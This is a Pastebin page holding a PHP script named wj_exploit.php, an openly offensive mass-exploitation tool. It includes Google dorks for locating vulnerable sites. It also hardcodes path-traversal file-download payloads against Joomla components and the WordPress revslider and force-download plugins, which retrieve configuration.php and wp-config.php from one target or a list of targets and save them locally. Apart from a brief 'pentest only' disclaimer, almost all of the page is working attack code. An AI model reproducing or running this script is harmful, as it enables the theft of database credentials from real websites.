Advertisement
diabliyo

wj_exploit.php

Oct 4th, 2018
523
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.86 KB | None | 0 0
  1. #!/usr/bin/php
  2. <?php
  3. /*
  4. Autor: Angel Cantu
  5. Mail: angel.cantu@sie-group.net
  6.  
  7. DISCLAIMER
  8. This script only is for pentest using, don't use this code for alterate o attack websites
  9.  
  10. DORKS
  11. inurl:'index.php?option=com_joomanager
  12. inurl:option=com_cckjseblod
  13. inurl:/wp-content/plugins/revslider/
  14. revslider.php 'index of
  15. inurl:force-download.php?file=wp-content/uploads
  16. inurl:wp-content/uploads inurl:force-download.php?file=
  17. */
  18.  
  19. function fileOrUrl($a)
  20. {
  21. $r=0;
  22. $path= getcwd()."/"; # current path
  23. if( file_exists($path.$a) ) $r=1; # file with urls
  24. else
  25. {
  26. $out= parse_url($a);
  27. $r= ( ($out["scheme"] && $out["host"]) ? 2:0);
  28. unset($out);
  29. }
  30. unset($path);
  31.  
  32. return $r;
  33. }
  34.  
  35. function geturlname($a)
  36. {
  37. $patron= '/http(s)?\:\/\/([a-zA-Z0-9.\-]{1,})/';
  38. preg_match_all($patron, $a, $buf);
  39. unset($patron);
  40. return $buf[2][0];
  41. }
  42.  
  43. function getUrl($a)
  44. {
  45. $patron= '/http(s)?\:\/\/([a-zA-Z0-9.\-]{1,})/';
  46. preg_match_all($patron, $a, $buf);
  47. unset($patron);
  48. return 'http'.($buf[1][0] ? 's':'').'://'.$buf[2][0];
  49. }
  50.  
  51. function attackLibrary( $a )
  52. {
  53. $joomla= array(
  54. "name"=>"Joomla",
  55. "0"=>array(
  56. "name"=>"joom_manager",
  57. "exploit"=>"/index.php?option=com_joomanager&controller=details&task=download&path=configuration.php"
  58. ),
  59. "1"=>array(
  60. "name"=>"joom_download",
  61. "exploit"=>"/index.php?option=com_cckjseblod&task=download&file=configuration.php"
  62. )
  63. );
  64. $wp= array(
  65. "name"=>"Wordpress",
  66. "0"=>array(
  67. "name"=>"wp_revslider",
  68. "exploit"=>"/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php"
  69. ),
  70. "1"=>array(
  71. "name"=>"wp_forcedownload",
  72. "exploit"=>"/force-download.php?file=wp-config.php"
  73. )
  74. );
  75. return (!strcmp($a, "w") ? $wp:$joomla);
  76. }
  77.  
  78. function attackSend($mode, $target)
  79. {
  80. $path= getcwd()."/";
  81. $a= attackLibrary($mode);
  82. echo "\n** ". $a["name"]. " Attacking..\n";
  83.  
  84. foreach( $a as $key=>$val )
  85. {
  86. if( strcmp($key, "name") )
  87. {
  88. echo "\n[". $val["name"]. "] Starting attack \"". $val["name"]. "\"..";
  89. # $cmd= "/usr/bin/curl \"".$target.$val["exploit"]."\" -O ".$path.$target."_".$key.".log";
  90. # system($cmd); # explot
  91.  
  92. $buf= @file_get_contents($target.$val["exploit"]);
  93. $fp= fopen($path.geturlname($target)."_".$key.".log", "w");
  94. fwrite($fp, $buf);
  95. fclose($fp);
  96.  
  97. if( !filesize($path.geturlname($target).'_'.$key.'.log') )
  98. echo "\n[ERROR] The config is protected..";
  99. else
  100. echo "\n[DONE] The configuration is Hacked xD";
  101. unset($cmd, $fp, $buf);
  102. }
  103. }
  104. return;
  105. }
  106.  
  107. function cleanjump( $data )
  108. {
  109. return substr($data, 0, -1);
  110. }
  111.  
  112. if( $argc!=4 )
  113. echo "\n[ERROR] Need argument, try: -a w URL";
  114. else
  115. {
  116. if( !($op=fileOrUrl($argv[3])) )
  117. echo "\n[ERROR] The argument isn't a file neither URL..";
  118. else
  119. {
  120. echo "\n[Done] You provide a ". ($op==1 ? "File with URLs":"URL Web");
  121.  
  122. if( strcmp($argv[1], "-a") ) # not set attack type
  123. echo "\n[ERROR] You don't set attack type, use: \"-a w\" (wordpress) or \"-a j\" (joomla)";
  124. else if( strcmp($argv[2], "w") && strcmp($argv[2], "j") )
  125. echo "\n[ERROR] This script only use ttacks with: \"w\" (wordpress) or \"j\" (joomla)";
  126. else # done
  127. {
  128. if( $op==2 ) # url
  129. {
  130. $target= geturl($argv[3]); # cleaning
  131. $path= getcwd(). "/";
  132. echo "\n[URL] Target detected: ". $target;
  133. echo "\n[Path] Working on: ". $path;
  134. echo "\n\n";
  135. attackSend($argv[2], $target);
  136. }
  137. else # file
  138. {
  139. $fp= fopen($path.$argv[3], "r");
  140. $urls= array();
  141. while( ($buf=fgets($fp, (5*1024)))!==FALSE )
  142. $urls[]= cleanjump($buf);
  143.  
  144. echo "\n[FILE] Detected: ". count($urls). " targets..";
  145. echo "\n[LIST] Targets List:\n";
  146.  
  147. foreach( $urls as $key=>$val ) echo "\n". $val;
  148. foreach( $urls as $key=>$val ) attackSend($argv[2], $val);
  149. unset($urls);
  150. }
  151. }
  152. }
  153. }
  154.  
  155. echo "\n\n";
  156. exit;
  157. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement